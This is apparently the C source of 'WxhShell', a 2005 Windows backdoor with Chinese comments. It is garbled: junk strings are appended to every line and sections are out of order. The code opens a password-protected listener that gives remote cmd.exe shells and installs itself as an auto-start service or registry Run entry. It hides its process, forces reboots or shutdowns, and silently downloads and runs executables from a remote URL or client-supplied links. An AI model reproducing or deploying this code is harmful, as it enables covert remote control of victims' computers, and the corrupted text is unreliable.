    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8]N  
    if(Boot(SHUTDOWN)) q89#Ftkt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ztNm,1pnQ  
    else { `43`*=  
    closesocket(wsh); 8Q&hhmOnz  
    ExitThread(0); wr/Z)e =^3  
    } ][|)qQ%V  
    break; 06 kjJ4  
    } `[<j5(T  
  // 获取shell G] -$fz  
  case 's': { .`OyC'  
    CmdShell(wsh); b{C3r3B8  
    closesocket(wsh); 5 JE8/CbH  
    ExitThread(0); R$<LEwjSw  
    break; dc MWCK  
  } #HD$=ECcw  
  // 退出 x:`]uOp  
  case 'x': { sglYT!O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5TqT`XTzm  
    CloseIt(wsh); ~ N+bD  
    break; 2t3'"8xJ  
    } %t&5o>1C  
  // 离开 7-"ml\z  
  case 'q': { fA!uSqR$V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jlV~-}QKb7  
    closesocket(wsh); h2 2-v X  
    WSACleanup(); 0f).F  
    exit(1); $= '_$wG 8  
    break; KJ]:0'T  
        } qm-G=EX  
  } +1j@n.)ft  
  } [-)N}rL>  
(Yz EsY  
  // 提示信息 `p@YV(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yIBT*,4  
} c}a.  
  } 3%?01$k  
'k=GSb  
  return; A2{u("^[6  
} #>+O=YO  
b{|Ha3;w  
// shell模块句柄 Yyq:5V!  
int CmdShell(SOCKET sock) S3V3<4CB  
{ w /$4 Rv+S  
STARTUPINFO si; Y_3 {\g|x  
ZeroMemory(&si,sizeof(si)); uFDJRQJ<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %oas IiO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'u }|~u?m  
PROCESS_INFORMATION ProcessInfo; SomA`y+ERn  
char cmdline[]="cmd"; F V8K_xj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M),i4a?2  
  return 0; wu5]S)?*  
} a"^0;a  
*/iD68r|-  
// 自身启动模式 1$Rua  
int StartFromService(void) P9~7GFas|  
{ =W(mZ#*vdY  
typedef struct bce>DLF  
{ $;1#gq%  
  DWORD ExitStatus; [:-Ltfr  
  DWORD PebBaseAddress; H]V@Q~?e  
  DWORD AffinityMask; {_0m0 8  
  DWORD BasePriority; 29DYL  
  ULONG UniqueProcessId; -lr)z=})  
  ULONG InheritedFromUniqueProcessId; eMk?#&a)  
}   PROCESS_BASIC_INFORMATION; D9 ~jMcX  
rPVz !(;k  
PROCNTQSIP NtQueryInformationProcess; 8X":,s!  
;Wa4d`K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aZt5/|B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8RJXY:%  
1 "'t5?XW  
  HANDLE             hProcess; lf4V; |!^  
  PROCESS_BASIC_INFORMATION pbi; 4,CQJ  
w] b3,b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~1&%,$fZ  
  if(NULL == hInst ) return 0; @= f2\hU  
~^((tT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  LAG*H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L&O!"[++  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Az.(tJ X"  
X{A|{u=  
  if (!NtQueryInformationProcess) return 0; zr~hGhfq  
E/mp.f2!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .LDK+c  
  if(!hProcess) return 0; tbHU(#~  
~1xln?Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _-aQ.p ?T  
!Z978Aub3&  
  CloseHandle(hProcess); >e y.7YG  
} %_h|N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RIBj9kd  
if(hProcess==NULL) return 0; *I)o Dq3  
(uV ~1  
HMODULE hMod; Jh2eo+/%  
char procName[255]; W]kh?+SZ  
unsigned long cbNeeded; FB {4& ;  
vL"U=Q+/eY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r`5[6)+P  
+L_!$"I  
  CloseHandle(hProcess); %?K1X^52d  
gqR?hZD  
if(strstr(procName,"services")) return 1; // 以服务启动 d;` bX+K  
InDISl]  
  return 0; // 注册表启动 =Nn&$h l  
} t(69gF\"  
|=H*" (  
// 主模块 P@P(&{@  
int StartWxhshell(LPSTR lpCmdLine) jE!<]   
{ B. Rc s  
  SOCKET wsl; p!^.;c  
BOOL val=TRUE; 2 2K:[K  
  int port=0; 23XSQHVx  
  struct sockaddr_in door; 8s6~l.v  
r8\"'4B1  
  if(wscfg.ws_autoins) Install(); "L^Klk?Vn  
6'6 "Ogu%'  
port=atoi(lpCmdLine); 5~Vra@iab:  
`p`)D 6  
if(port<=0) port=wscfg.ws_port; ~e,k71  
N yT|=`;  
  WSADATA data; RUHQ]@d#T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R*~<?}Rr  
?n o.hf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   19a/E1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2Qg.b- C  
  door.sin_family = AF_INET; Vy-N3L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '^f,H1oW  
  door.sin_port = htons(port); ?o'!(3`L  
A<ca9g3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D<9FSxl6  
closesocket(wsl); dKyJ.p   
return 1; MONfA;64/  
} 4%wP}Zj#  
b e[KNrO  
  if(listen(wsl,2) == INVALID_SOCKET) { ~_C[~-  
closesocket(wsl); S#+Dfa`8X  
return 1; O>e2MT|#k  
} e(7F| G*  
  Wxhshell(wsl); p%) 1(R8qM  
  WSACleanup(); AF5.)Y@.  
\Z0-o&;w  
return 0; RRh0G>*  
WE""be8  
} Xq`|'6]/  
7FL!([S5i  
// 以NT服务方式启动 u,i~,M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ud]O'@G<  
{ FHpS?htRy  
DWORD   status = 0; ^CZ!rOSv  
  DWORD   specificError = 0xfffffff; (jYHaTL6Y'  
S;#S3?G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ER0nrTlB<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +92/0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v%O KOrJ  
  serviceStatus.dwWin32ExitCode     = 0; 4DY\QvW5  
  serviceStatus.dwServiceSpecificExitCode = 0; ((i%h^tGa;  
  serviceStatus.dwCheckPoint       = 0; +4G]!tV6  
  serviceStatus.dwWaitHint       = 0; 8[  
7UQFAt_r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YCvIB'  
  if (hServiceStatusHandle==0) return; $$7Mq*a>  
p!5oz2RK  
status = GetLastError(); 1eue.iuQ  
  if (status!=NO_ERROR) ' b41#/-  
{ 9W3zcL8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X yi[z tN  
    serviceStatus.dwCheckPoint       = 0;  JvFd2@  
    serviceStatus.dwWaitHint       = 0; LQ T^1|nq  
    serviceStatus.dwWin32ExitCode     = status; XB  
    serviceStatus.dwServiceSpecificExitCode = specificError; @~pIyy\_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B"rV-,n{  
    return; h}PeXnRU  
  } ] ?!#*<t r  
5U)Ia>p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wZv"tbAWLV  
  serviceStatus.dwCheckPoint       = 0; KF^5 C  
  serviceStatus.dwWaitHint       = 0; P]]re,&R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jOL$kiW0  
} aO :wedfl  
G'b*.\=  
// 处理NT服务事件,比如:启动、停止 ,CiN@T \&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \"!Fw)wj  
{ vmW > $P  
switch(fdwControl) yVQ0;h  
{ IC&>PwXb  
case SERVICE_CONTROL_STOP: (> O'^W\3p  
  serviceStatus.dwWin32ExitCode = 0; P|,@En 1!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Fi\Qk'D@  
  serviceStatus.dwCheckPoint   = 0; jWHv9XtW  
  serviceStatus.dwWaitHint     = 0; C3EQz r`  
  { "G. L)oD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fc{M N"  
  } UIS\t^pJD  
  return; fFu+P<?"  
case SERVICE_CONTROL_PAUSE: w1q-bIU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VJW%y)_[  
  break; \\Ps*HN  
case SERVICE_CONTROL_CONTINUE: Ox .6]W~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fBtTJ+51}  
  break; xUT]6T0dB  
case SERVICE_CONTROL_INTERROGATE: a<%Ivqni  
  break; $07;gpZt  
}; HRX}r$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X>}-UHKV+  
} IM-O<T6r[N  
;2Aqztp  
// 标准应用程序主函数 $oF0[}S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DZPg|*KT  
{ \NE~k)`4j%  
klkshlk d  
// 获取操作系统版本 h- )tWJ c  
OsIsNt=GetOsVer(); 'ii5pxeNI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S\$=b_.  
x-0O3IIE  
  // 从命令行安装 tf1iRXf8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4:1URhE  
Mn`);[  
  // 下载执行文件 TVy\%FP^L  
if(wscfg.ws_downexe) { f]c{,LFvZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TsiI5'tx  
  WinExec(wscfg.ws_filenam,SW_HIDE); BO5\rRa0  
} +5AWX,9,-  
l@edR)n <  
if(!OsIsNt) { {'O,G$Ldkr  
// 如果时win9x,隐藏进程并且设置为注册表启动 ck0K^o v  
HideProc(); FU]jI[  
StartWxhshell(lpCmdLine); rQE:rVKVh  
} B=vBJC)  
else V)|]w[(Y  
  if(StartFromService()) HLYog+?  
  // 以服务方式启动  .7GTL  
  StartServiceCtrlDispatcher(DispatchTable); .J?cV;:`  
else V{qpha4'P  
  // 普通方式启动 94uAt&&b(  
  StartWxhshell(lpCmdLine); T#M_2qJ1=  
Mk-zeq<2z  
return 0; z89!\Q  
} pNt,RRoR  
"rHcsuSEw  
6*W7I- A  
_k'?eZB  
=========================================== aK|],L  
2~ [  
<V} ec1  
,,}& Q%5  
l~mC$>f  
eMHBY6<~=  
" $U*b;'o  
(U`<r-n\n  
#include <stdio.h> jWpm"C  
#include <string.h> Vt4KG+zm  
#include <windows.h> G;jX@XqZ  
#include <winsock2.h> ;T-`~  
#include <winsvc.h> A,PF#G(  
#include <urlmon.h> TUy 25E  
4,g[g#g<q  
#pragma comment (lib, "Ws2_32.lib") bd'io O  
#pragma comment (lib, "urlmon.lib") ZovF]jf k  
?^} z  
#define MAX_USER   100 // 最大客户端连接数 Ef)v("'w  
#define BUF_SOCK   200 // sock buffer zWO!z =  
#define KEY_BUFF   255 // 输入 buffer S {d]0  
(T65pP_P 7  
#define REBOOT     0   // 重启 ]a=n(`l?  
#define SHUTDOWN   1   // 关机 lGhhH _  
3*8m!gq7s  
#define DEF_PORT   5000 // 监听端口 \&XtPQ  
c^F@9{I  
#define REG_LEN     16   // 注册表键长度 jNbU{Z%r  
#define SVC_LEN     80   // NT服务名长度 ^55q~DP}>  
9*Z!=Y#4,  
// 从dll定义API f%[0}.wp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U;w| =vM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (fqU73  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xwhS[d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FE=vUQXE2  
O\X=vh/D  
// wxhshell配置信息 Pl/B#Sbf'  
struct WSCFG { JHJIjYG>P  
  int ws_port;         // 监听端口 } q?*13iy(  
  char ws_passstr[REG_LEN]; // 口令 };m.8(}$)  
  int ws_autoins;       // 安装标记, 1=yes 0=no q9gk:Jt  
  char ws_regname[REG_LEN]; // 注册表键名 ;;>G}pG  
  char ws_svcname[REG_LEN]; // 服务名 PP{s&(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n_9Wrx328  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5>\Lk>rI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !Bu=?gf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O-uf^ S4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #&sw%CD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c&"OhzzJK'  
ET\>cxSp  
}; werTwe2Q  
E0t%]?1  
// default Wxhshell configuration UA3!28Y&E3  
struct WSCFG wscfg={DEF_PORT, qZ<|A%WQ  
    "xuhuanlingzhe", a/Ik^:>m  
    1, Nm{J=`  
    "Wxhshell", -Pp =)_O  
    "Wxhshell", :"Gd;~p.  
            "WxhShell Service", Sp-M:,H3H  
    "Wrsky Windows CmdShell Service", Yu+;vjbK-  
    "Please Input Your Password: ", 19]O;  
  1, ` st^i$A  
  "http://www.wrsky.com/wxhshell.exe", k &6$S9  
  "Wxhshell.exe" SYYg 2I  
    }; WR zIK09@  
&Db'}Y?x]  
// 消息定义模块 FIN0~ 8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t~V?p'a0ys  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u`gY/]y!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uqd2{fji=#  
char *msg_ws_ext="\n\rExit."; ~Q2,~9Dkc  
char *msg_ws_end="\n\rQuit."; h[& \ OD,P  
char *msg_ws_boot="\n\rReboot..."; zbZN-j#  
char *msg_ws_poff="\n\rShutdown..."; OrRU$5Lo  
char *msg_ws_down="\n\rSave to "; -Gj."ks  
$h|8z  
char *msg_ws_err="\n\rErr!"; .2f0e[J  
char *msg_ws_ok="\n\rOK!";  q^Ui2  
g{e@I;F  
char ExeFile[MAX_PATH]; HV[*=Qi  
int nUser = 0; czcsXBl[  
HANDLE handles[MAX_USER]; f)#nXTXeC  
int OsIsNt; -~TgA*_5]  
|>v8yS5  
SERVICE_STATUS       serviceStatus; se S)`@n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i:sb_U+M  
eMOnzW|h  
// 函数声明 }&Ul(HR  
int Install(void); JPM W|JT  
int Uninstall(void); Clmz}F  
int DownloadFile(char *sURL, SOCKET wsh); ?{(Jy*  
int Boot(int flag); 5 8n(fdE  
void HideProc(void); !glGW[r/7  
int GetOsVer(void); "vF7b|I  
int Wxhshell(SOCKET wsl); w1,6%?p(O  
void TalkWithClient(void *cs); J%1 2Ey@6  
int CmdShell(SOCKET sock); i{MzQE+_^  
int StartFromService(void); pIgjo>K  
int StartWxhshell(LPSTR lpCmdLine); ` 7jdV  
D {N,7kT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Stk'|-z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zuYz"-(L  
x}7`Q:k=  
// 数据结构和表定义 X+'B*K$  
SERVICE_TABLE_ENTRY DispatchTable[] = /9<62F@zJ"  
{ WV,j <x9w  
{wscfg.ws_svcname, NTServiceMain}, Ixr#zt$T-G  
{NULL, NULL} icXeB_&cS  
}; gVN&?`k*?  
=`f"8 ,5  
// 自我安装 qVr?st  
int Install(void) KF f6um  
{ 3.V-r59  
  char svExeFile[MAX_PATH]; QvDD   
  HKEY key; 4^{~MgQWK+  
  strcpy(svExeFile,ExeFile); GcHZ&m4  
WXX08"  
// 如果是win9x系统,修改注册表设为自启动 *6QmYq6c<  
if(!OsIsNt) { c n^z=?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u= ydX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wu U_R E  
  RegCloseKey(key); ='vkd=`Si  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P7y.:%DGD0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <lf6gb  
  RegCloseKey(key); \Z/# s;c,4  
  return 0; y R_x:,|g  
    } l>?k>NEpP  
  } 4qg] oiT  
} ds<q"S {p  
else { \"=b8x  
k-|b{QZ8!;  
// 如果是NT以上系统,安装为系统服务 O_|p{65  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PJ'.s  
if (schSCManager!=0) 8BggK6X  
{ dH+oV`  
  SC_HANDLE schService = CreateService >@i {8AD  
  ( 4qmaL+Q  
  schSCManager, )/4U]c{-  
  wscfg.ws_svcname, wf/DLAC  
  wscfg.ws_svcdisp, hG qZB  
  SERVICE_ALL_ACCESS, tN&_f==e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &?#!%Ds  
  SERVICE_AUTO_START, z|WDqB%/I  
  SERVICE_ERROR_NORMAL, Nh+ZSV4WJ:  
  svExeFile, gs9VCaIa  
  NULL, @1tv/W  
  NULL, }8?1)l  
  NULL, YN($rAkL  
  NULL, 9/4Bx!~A  
  NULL K91.-k3)$  
  ); >n6yKcjY]  
  if (schService!=0) WG(%Pkowv  
  { u{(-`Al}L  
  CloseServiceHandle(schService); "bk'#?9  
  CloseServiceHandle(schSCManager); (  V H0+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v@;!fBUt  
  strcat(svExeFile,wscfg.ws_svcname); (g#,AX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $S{]` +  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sA[eKQjaD  
  RegCloseKey(key); -?PXj)<  
  return 0; -A;4""  
    } 7?EC kuSv  
  } YRs32vVz  
  CloseServiceHandle(schSCManager); _5SA(0D#9  
} "%fvA;  
} D$PR<>=y  
8VLD yX2-  
return 1; .80L>0  
} 7) e#b  
rulw6vTB(  
// 自我卸载 (Gpk;DD  
int Uninstall(void) t9+ME|  
{ V.12  
  HKEY key; u<a =TPAU  
sN9 SuQ  
if(!OsIsNt) { ?j-;;NNf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E-XFW]I  
  RegDeleteValue(key,wscfg.ws_regname); Ialbz\;F2%  
  RegCloseKey(key); )R]gJ_ ,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m9m]q&hx  
  RegDeleteValue(key,wscfg.ws_regname); [m{uJ dj\  
  RegCloseKey(key); kKil] L  
  return 0; " H; i Av  
  } +Rb0:r>kU  
} aIW W[xZ  
} v#o<. Ig  
else { $H2HVJ  
(&ABfm/t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d vTsbs/6  
if (schSCManager!=0) P1Chmg  
{ SVc5mS|up  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lyj0$wbH`  
  if (schService!=0) 3f^~mTY9>]  
  { KMZEUmY1R1  
  if(DeleteService(schService)!=0) { Y~ ( <H e?  
  CloseServiceHandle(schService); #Hyfj j  
  CloseServiceHandle(schSCManager); 2*9rhOK*  
  return 0; yHt `kb2  
  } O]N 8Q H  
  CloseServiceHandle(schService); ~Y /55uC  
  } 1E|~;wo\  
  CloseServiceHandle(schSCManager); rP7~ R  
}  t_Rpeav  
} /pOK4"  
*>f-UNV  
return 1; KWB;*P C^  
} #I|jFn9  
b+3QqbJ[F  
// 从指定url下载文件 I]OVzM  
int DownloadFile(char *sURL, SOCKET wsh) UJ8V%0  
{ oiY&O]}  
  HRESULT hr; A-XWG9nL  
char seps[]= "/"; t:<dirw,o  
char *token; f*Dy>sw  
char *file; |)\{Rufb  
char myURL[MAX_PATH]; GVt}\e~"  
char myFILE[MAX_PATH]; .ECT  
?Pw(  
strcpy(myURL,sURL); 5\|u] ~b  
  token=strtok(myURL,seps); M4m90C;dq  
  while(token!=NULL) 1=.+!Tg  
  { b3RCsIz  
    file=token; Z UCz-53  
  token=strtok(NULL,seps); +~ L26T\8  
  } 69>N xr~k  
KsMC+:`F  
GetCurrentDirectory(MAX_PATH,myFILE); 8wQ|Ep\  
strcat(myFILE, "\\"); ,@]rvI6 x  
strcat(myFILE, file); E8Q Y6gKF  
  send(wsh,myFILE,strlen(myFILE),0); k yI-nE  
send(wsh,"...",3,0); Rh.CnCbM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5,n{-V  
  if(hr==S_OK) m:A1wL4c6  
return 0; GI40Ztms  
else y8QJ=v* B  
return 1; n'-?CMH`  
=TzmhX5  
} }|Wn6X  
I||4.YT  
// 系统电源模块 j(SBpM  
int Boot(int flag) uqMe %  
{ 5Sm)+FC :  
  HANDLE hToken; zjVQ\L  
  TOKEN_PRIVILEGES tkp; !04zWYHo  
yDdi+  
  if(OsIsNt) { gE~]^B{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @|c fFT W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KL}o%wfLy  
    tkp.PrivilegeCount = 1; Q1yj+)_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $JTQA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PfKF!/c B  
if(flag==REBOOT) { u:FFZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~-.^eT kP  
  return 0; +~~&FO2  
} m2o)/:  
else { |`50Tf\J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u^!c:RfE?  
  return 0; 861!p%y5  
} _:Jra  
  } ^`&?"yj<z  
  else { 8A3pYW-  
if(flag==REBOOT) { HI}9 "(t}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !u;r<:g!  
  return 0; zu@5,AH  
} z#!}4@_i3  
else { ub* j&L=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X\a*q]"_  
  return 0; :Vyr8+]  
} kA1C&  
} D<35FD,  
ue;o:>G  
return 1; m.K@g1G  
} ^XIVWf#`H  
;=?f0z<  
// win9x进程隐藏模块 dmkd.aP4  
void HideProc(void) &S8Pnb)d  
{ zAxscD f'  
E =7m@"0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I|#1u7X%]  
  if ( hKernel != NULL ) \~#$$Q-qtU  
  { ;HOOo>%_K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %di]1vQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U(jZf{`Mz  
    FreeLibrary(hKernel); ! 9U  
  } 4CT _MAj  
> (.V(]{3y  
return; _FJ,, /~  
} Zss `##  
!7KSNwGu  
// 获取操作系统版本 GkT:7`|C  
int GetOsVer(void) ~fDMzOd  
{ _ `RCY^t  
  OSVERSIONINFO winfo; 4R~f   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *<[Nvk^  
  GetVersionEx(&winfo); >O:31Uk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }95;qyQ$  
  return 1; E_[)z%&n2  
  else *61+Fzr  
  return 0; q*^F"D:?k  
} 4%3R}-'mh  
S-8wL%r  
// 客户端句柄模块 2K Um(B.I  
int Wxhshell(SOCKET wsl) @DYxDap{  
{ EPZ^I)  
  SOCKET wsh; FccT@ ,.F  
  struct sockaddr_in client; .[ E"Kb}=  
  DWORD myID; :RH0.5)  
DeAi'"&  
  while(nUser<MAX_USER) BJdH2qREN  
{ ygvX}q  
  int nSize=sizeof(client); l^@!,Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Eep*,Cnt0  
  if(wsh==INVALID_SOCKET) return 1; eoC@b/F4  
#ZPU.NNT?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \;h+:[<e1  
if(handles[nUser]==0) Jx:t(oUR+  
  closesocket(wsh); 0M'[|ci d|  
else VGVZ`|  
  nUser++; [CBhipoc  
  } QBNnvg4v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b~1]}9TJ  
}nQni?  
  return 0; (L{Kg U&{$  
} XM+o e0:[  
I.M@we/bR}  
// 关闭 socket t~l uBUF  
void CloseIt(SOCKET wsh) %4%$NdU"  
{ [^cflmV  
closesocket(wsh); d=TZaVL$$  
nUser--; x tJ_azt  
ExitThread(0); %|3I|'%Y  
} Ls<.&3X2  
I-fjqo3  
// 客户端请求句柄 wO&edZ]zb^  
void TalkWithClient(void *cs) T\G2B*fGd  
{ ),<E-Ub  
`v1Xywg9P  
  SOCKET wsh=(SOCKET)cs; '%u7XuU-]  
  char pwd[SVC_LEN]; .)7r /1o  
  char cmd[KEY_BUFF]; ?9_RI(a.}  
char chr[1]; LxM.z1  
int i,j; `+4>NT6cu9  
,<^7~d{{3m  
  while (nUser < MAX_USER) { UogkQ& B  
c\n&Z'vK  
if(wscfg.ws_passstr) { V>{G$(v$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bc/'LI.%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M<A*{@4$w&  
  //ZeroMemory(pwd,KEY_BUFF); X_7cwPY  
      i=0; =?*6lS}gy  
  while(i<SVC_LEN) { Lqt.S|  
Koi  
  // 设置超时 aX oD{zA  
  fd_set FdRead; tA?cHDp4E  
  struct timeval TimeOut; >d`XR"_e  
  FD_ZERO(&FdRead); bN ,>,hj  
  FD_SET(wsh,&FdRead); aAlES< r  
  TimeOut.tv_sec=8; LIo3a38n?y  
  TimeOut.tv_usec=0; hdw-gem{?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (6aSDx Sc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CDy *8<-&  
/D]V3|@E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X"hoDg  
  pwd=chr[0]; sG/mmZHYzr  
  if(chr[0]==0xd || chr[0]==0xa) { 9(9+h]h+3  
  pwd=0; ndSM*Fq  
  break; SNV[KdvP*  
  } uB(16|W>S  
  i++; o)X(;o  
    } MWsjkI`  
WcCJ;z:S?k  
  // 如果是非法用户,关闭 socket !n=?H1@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nh I&wl  
} D# $Fj  
BZ]6W/0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !besMZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;B35E!QJ  
YWV"I|Z  
while(1) { U{IY F{;@  
7j>NUx=j3  
  ZeroMemory(cmd,KEY_BUFF); ?e`4 s f_~  
-+'fn$  
      // 自动支持客户端 telnet标准   YF+hN\  
  j=0; F-\Swbx+  
  while(j<KEY_BUFF) { *h<= (Y%   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ){AtV&{$  
  cmd[j]=chr[0]; pJ` M5pF  
  if(chr[0]==0xa || chr[0]==0xd) { ]x8_f6;D  
  cmd[j]=0; [j6EzMN  
  break; 4Y):d!'b  
  } W"m\|x  
  j++; A@8Ot-t:\2  
    } di@4'$5#  
\m3'4#  
  // 下载文件 cTA8F"UGD  
  if(strstr(cmd,"http://")) { n{>Ge,enP0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (M1HNIM;(  
  if(DownloadFile(cmd,wsh)) 4%8}vCs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =!axQ[)A  
  else thoAEG80  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ")/TbT Vu  
